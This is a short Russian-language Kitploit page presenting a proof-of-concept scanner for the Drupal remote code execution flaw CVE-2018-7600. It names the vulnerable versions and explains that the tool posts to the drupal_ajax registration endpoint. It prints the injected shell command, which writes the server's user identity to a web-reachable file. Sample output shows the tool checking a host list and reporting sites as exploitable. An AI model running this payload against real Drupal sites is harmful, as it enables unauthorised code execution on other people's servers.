CVE-2018-7600 — Доказательство концепции для Drupal CVE-2018-7600 / SA-CORE-2018-002 | Kitploit

Доказательство концепции для CVE-2018-7600 / SA-CORE-2018-002 codebeat badge

Drupal версий до 7.58, 8.x до 8.3.9, 8.4.x до 8.4.6 и 8.5.x до 8.5.1 позволяет удаленным злоумышленникам выполнять произвольный код из-за проблемы, затрагивающей несколько подсистем с конфигурациями по умолчанию или общих модулей.

Как это работает

Он отправляет пакет в оболочку drupal_ajax для регистрации пользователя. Позволяет пользователю использовать разметку exec и запускать bash. Этот PoC отправляет имя пользователя и идентификатор в abcde.txt.
```
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee abcde.txt
```

Проверяет http*://example.com/abcde.txt

[!] PROVIDED ONLY FOR EDUCATIONAL OR INFORMATION PURPOSES.
[?] Enter file name (example: /root/file/hosts.txt): hosts.txt
[+] https://example.com/ Possibly exploitable
[~] Checking... https://example.com/abcde.text
[+] https://example.com/ Exploitable
[+] UID: 33 Name: www-data
[+] Deleting... https://example.com/abcde.text

CVE-2018-7600

Популярное

Полезные нагрузки

Благодарности

Предоставлено только для образовательных или информационных целей.